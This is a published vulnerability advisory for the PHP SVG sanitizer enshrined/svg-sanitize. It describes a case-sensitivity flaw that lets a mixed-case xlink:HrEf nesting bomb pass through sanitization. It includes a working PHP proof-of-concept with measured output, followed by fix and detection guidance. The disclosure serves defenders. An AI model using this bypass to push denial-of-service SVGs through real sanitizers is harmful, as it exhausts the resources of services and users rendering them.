CVE-2026-107381: Medium severity composer/enshrined/svg-sanitize vulnerability

Published Oct 8, 2026
·
Updated

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

php $useNodeName = $this->xPath->createNodeName('use'); foreach ($this->subjects as $subject) { $useElements = $this->xPath->query( $useNodeName . '[@href or @xlink:href]', $subject->getElement() );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

php // in case the attribute name is HrEf/xlink:HrEf, adjust it to href/xlink:href if (!inarray($attribute->nodeName, $this->allowedAttrs, true) && inarray(strtolower($attribute->nodeName), $this->allowedAttrs, true) ) { $element->removeAttribute($attribute->nodeName); $element->setAttribute(strtolower($attribute->nodeName), $attribute->value); }

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

php <?php splautoloadregister(function ($class) { $p = 'enshrined\\svgSanitize\\'; if (strpos($class, $p) !== 0) return; $rel = strreplace('\\', '/', substr($class, strlen($p))); $f = DIR . '/svgsan/src/' . $rel . '.php'; if (fileexists($f)) require $f; }); $orig = filegetcontents(DIR . '/svgsan/tests/data/useDosTest.svg'); $mut = strreplace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) { $s = new \enshrined\svgSanitize\Sanitizer(); $s->removeRemoteReferences(true); $out = $s->sanitize($input); echo "[$label]\n"; echo " output <use count : ", substrcount($out, '<use '), "\n"; echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n"; echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n"; } run('canonical xlink:href (control)', $orig); run('mixed-case xlink:HrEf (attack)', $mut);

Observed on PHP 8.5.9:

text orig use count: 201 mutated input has xlink:HrEf: YES

[canonical xlink:href (control)] output <use count : 0 output xlink:href : NO output xlink:HrEf : NO [mixed-case xlink:HrEf (attack)] output <use count : 201 output xlink:href : YES output xlink:HrEf : NO

201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.

Suggested fix

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

Affected Software

1 affected componentFixes available
composer/enshrined/svg-sanitize<=0.22.0
1.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/enshrined/svg-sanitize to a version that resolves this vulnerability.

    Fixed in 1.0.0
  2. Configuration

    Stop matching reference attributes case sensitively when building the <use> reference graph: either resolve href values with a case-insensitive local-name lookup, or run cleanHrefAttributes() before elementReferenceResolver->collect() so the resolver only sees canonical href and xlink:href names.

    enshrined\svgSanitize reference graph resolver href and xlink:href attribute matching = case-insensitive

Event History

Oct 8, 2026
Advisory Published
via GitHub·07:41 PM
Data Sourced
via GitHub·07:41 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does exploitation require authentication or user interaction?

The vector indicates that no privileges are required and the issue can be reached over the network. User interaction is required.

2

What should defenders look for in SVG input or logs?

Look for <use> elements whose xlink:href attribute uses non-canonical mixed casing, specifically xlink:HrEf. This casing can evade reference-graph handling before the sanitizer later normalizes it to xlink:href.

3

What is the expected security impact?

The reported impact is high availability impact through a nesting denial of service. Confidentiality and integrity impact are listed as none.

Contact

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